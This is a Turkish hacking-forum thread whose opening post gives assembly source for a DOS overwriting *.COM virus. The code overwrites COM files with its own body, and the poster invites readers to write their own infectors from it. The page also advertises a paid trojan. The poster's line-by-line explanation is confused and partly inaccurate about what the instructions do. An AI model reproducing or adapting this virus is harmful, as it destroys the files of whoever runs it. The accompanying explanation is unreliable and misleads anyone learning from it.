25 satır kodla virüs || by Syntax-LifeMerhabalar, Assembly ile biliyosunuz ki en iyi virüsler yapılabiliyor bugün size kendi örneklerimden 25 satırlık bir kod vereceğim ve DOS/16-bit için uygundur. *.COM dosyalarını siler derleyip kendinizde açmayın, derslerime eğitim
Konu Volatile. tarafından açılmış, 1761 kişi tarafından görüntülenip, 16 yanıt almış.
|
Özel Yazılım Trojan+, güncellemeli ve garantili. Sadece 690TL! Kredi kartınıza 12 taksit kolaylığı!
|
|||||||
25 satır kodla virüs || by Syntax-Life konusundaki toplam yorum: 16, okunma sayısı: 1761. |
|
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
#1 |
|
Daimi Üye
![]() ![]() ![]() Kayıt Tarihi: Nov 2008
Üye numarası: #277831 Yer: Ankara
Mesaj sayısı: 660
Karma etkisi: 2416
![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() Karma: 241202
|
Merhabalar,
Assembly ile biliyosunuz ki en iyi virüsler yapılabiliyor bugün size kendi örneklerimden 25 satırlık bir kod vereceğim ve DOS/16-bit için uygundur. *.COM dosyalarını siler derleyip kendinizde açmayın, derslerime eğitim ve ilgi çekiçi olması için ekledim eğitim amaçlı yazdım!! ![]() Kod bana aittir! Kod Kod:
code segment
assume cs:code ds:code
org 100h
start proc near
mov ah, 4eh
mov cx, 100h
mov dx, offset infect
int 21h
mov ah, 3dh
mov al, 2ah
mov dx, 9eh
int 21h
xchg bx, ax
mov ah, 40h
mov cx, offset infect - offset start
mov dx, offset start
int 21h
mov ah, 3eh
int 21h
int 20h
start endp
infect db "*.COM", 0
endit label near
scene "*.COM infector | wardom.org | Assembly // Syntax-Life"
code ends
Kaynak: Wardom http://www.wardom.com.tr/showthread.php?t=295133 2 - *.com dizini 0x0100'den başladığı için org 100h 3 - üçüncü işlemde ise AH(8 bitlik acc'ye) 4eh ile arama fonksiyonu konuluyor. 4 -Sayaca 100 fonksiyonu verilerek dizine iniliyor burdaki veri offsetleri virus bulaşılmış offset adresleri olarak gözüküyor 5 -Ardından direk 21h donanım kesmesi ile DOS'a dönülüyor 6- ah'ye dosyayı açıp içine yazması gereken fonksiyon 3dh veriliyor. 7 - al'ye(bkz. google x86 işlemci mimarisi komutlar ve dallanmalar) ise dallanması için fonksiyon veriliyor 8 - dx ise veriyi üzerine yazmayı sağlayacak yani (80 + 1Eh = 9Eh) işlemi yapıyor 9 - bölge ile akümülatörün yeri değişiyor (nedeni tüm akümülatörler (8bitlik fonksiyon taşıyanlar) devreye girsin ve offsetler üzerinde işlem yapsın diye) 10 - fonksiyon al'ye atandı 11 - cx'de bölgenin offset adresi vardı tüm işlemler yapıldıktan sonra başa daşa dönmek için 100 - offset-start 12 - dx'de zaten başlangıç adresini tutuyordu =) 13 - kesme çağırılıyor 14 - işlem bitince dosyayı kapatıyor 15 - kesme çağırılıyor 16 - uygulamayı'da yoketmesini istiyor 17 - işlem bitiriliyor 18 - bulaşılacak dosyanın napılacağı bilgisi 0'lanıyor yani siliniyor 19 - sonra ekrana mesaj yazıyor Edit: tam anlamıyla düzgün bir açıklama yaptım ![]() Düzenleyen Volatile. : 01-09-2009 at 15:53. Sebep: açıklamalar düzenlendi |
|
|
|
|
|
#2 |
|
1st Class WarrioR
![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() Kayıt Tarihi: Feb 2009
Üye numarası: #312953 Yer: GMG Garage
Mesaj sayısı: 5,775
Karma etkisi: 40506
![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() Karma: 4049798
|
assembly öğrenmeye çalışacağım bakalım neler olacak
![]() |
|
|
|
|
|
#3 |
|
Banned
![]() ![]() ![]() ![]() ![]() Kayıt Tarihi: Feb 2006
Üye numarası: #52117 Yer: VikinGLand
Mesaj sayısı: 3,699
Karma etkisi: 0
![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() Karma: 1929988
|
|
|
|
|
|
|
#4 |
|
Forum Kalfası
![]() ![]() ![]() ![]() Kayıt Tarihi: Nov 2008
Üye numarası: #281906 Yer: Teknopark
Mesaj sayısı: 1,746
Karma etkisi: 27006
![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() Karma: 2700161
|
|
|
|
|
|
|
#5 |
|
Forum Kalfası
![]() ![]() ![]() ![]() Kayıt Tarihi: Nov 2005
Üye numarası: #38182 Yer: le gök arasında bir yerlerde...
Mesaj sayısı: 2,175
Karma etkisi: 9309
![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() Karma: 930034
|
walla ben de bi giriyim dedim....giriş o giriş....girdiğim gibi kaldım
![]() ![]() ![]() |
|
|
|
|
|
#6 |
|
Daimi Üye
![]() ![]() ![]() Kayıt Tarihi: Nov 2008
Üye numarası: #277831 Yer: Ankara
Mesaj sayısı: 660
Karma etkisi: 2416
![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() Karma: 241202
|
Açıklamalar düzenlendi açıklamalara bakarak kendinize göre yeni bir infector virüs yapabilirsiniz fonksiyonların açıklamaları yazmakta
![]() |
|
|
|
|
|
#7 |
|
1st Class WarrioR
![]() ![]() ![]() ![]() ![]() ![]() Kayıt Tarihi: Nov 2008
Üye numarası: #287014 Yer: Türkiye
Mesaj sayısı: 45
Karma etkisi: 0
![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() Karma: 2694
|
saolasın dostum
|
|
|
|
|
|
#8 |
|
Forum Ustası
![]() ![]() ![]() ![]() ![]() Kayıt Tarihi: Jun 2008
Üye numarası: #229520
Mesaj sayısı: 7,300
Karma etkisi: 48583
![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() Karma: 4857264
|
tskler ılgıncmıs not defterıne kopyalamayı goze alamadım
![]() |
|
|
|
|
|
#9 |
|
Forum Kalfası
![]() ![]() ![]() ![]() Kayıt Tarihi: Sep 2009
Üye numarası: #362351 Yer: İzmir
Mesaj sayısı: 1,138
Karma etkisi: 11759
![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() Karma: 1175533
|
sağol denetelim
:d derliyip yolluyalım ![]() |
|
|
|
|
|
#10 |
|
Hızlı Çırak
![]() ![]() Kayıt Tarihi: Dec 2005
Üye numarası: #45241
Mesaj sayısı: 80
Karma etkisi: 15
![]() ![]() ![]() ![]() ![]() ![]() ![]() Karma: 801
|
Bende öğrenmeliyim
okulda ödevler falan birde uzun süredir ilgimi çekiyor ama bir türlü başlayamadım bana tavsiye edebiliceğin bir döküman varmı yada ne yapmalıyım ... |
|
|
|
|
|
#11 | |
|
Hızlı Çırak
![]() ![]() Kayıt Tarihi: Dec 2005
Üye numarası: #45241
Mesaj sayısı: 80
Karma etkisi: 15
![]() ![]() ![]() ![]() ![]() ![]() ![]() Karma: 801
|
Alıntı:
ya satır satır kod işletilirken her satırın ne yaptıgını comment geçseymişin çok süper olcakmış.Comment yazmanı tavsiye ederim çok anlamayanlar için açıklayıcı olacaktır... |
|
|
|
|
|
|
#12 |
|
Forum Ustası
![]() ![]() ![]() ![]() ![]() Kayıt Tarihi: Jul 2007
Üye numarası: #133070 Yer: Kreuzberg
Mesaj sayısı: 8,413
Karma etkisi: 54860
![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() Karma: 5484797
|
kafa patlatmak isteyen asm kassın
![]() |
|
|
|
|
|
#13 |
|
Forum Kalfası
![]() ![]() ![]() ![]() Kayıt Tarihi: Nov 2005
Üye numarası: #38182 Yer: le gök arasında bir yerlerde...
Mesaj sayısı: 2,175
Karma etkisi: 9309
![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() Karma: 930034
|
peki bu COM dosyaları silinince ne oluyor...??bilgisayar açılmıyor mu yoksa başka bişi mi....bi de yarattığı sorunu çözmenin tek yolu format mı???.....Ha bi de unutmadan zeki müren de bizi görecek mi?....
![]() ![]() ![]() ![]() ![]() ![]() ![]() |
|
|
|
|
|
#14 |
|
Çırak
![]() Kayıt Tarihi: Jan 2010
Üye numarası: #410591
Mesaj sayısı: 13
Karma etkisi: 0
![]() Karma: 10
|
ii bizde assembly 'e baslayacaz işin icinden de cıkarız
BİZ WARDOM LUYUZ |
|
|
|
|
|
#15 |
|
1st Class WarrioR
![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() Kayıt Tarihi: Dec 2009
Üye numarası: #396376
Mesaj sayısı: 247
Karma etkisi: 52
![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() Karma: 4962
|
bu programlar kafa yoruyor ciddende
![]() |
|
|
|
![]() |
| Şu Anda Konuyu Görüntüleyenler: 1 (0 üye ve 1 misafir) | |
| Konu Araçları | Bu Konuda Ara |
|
|
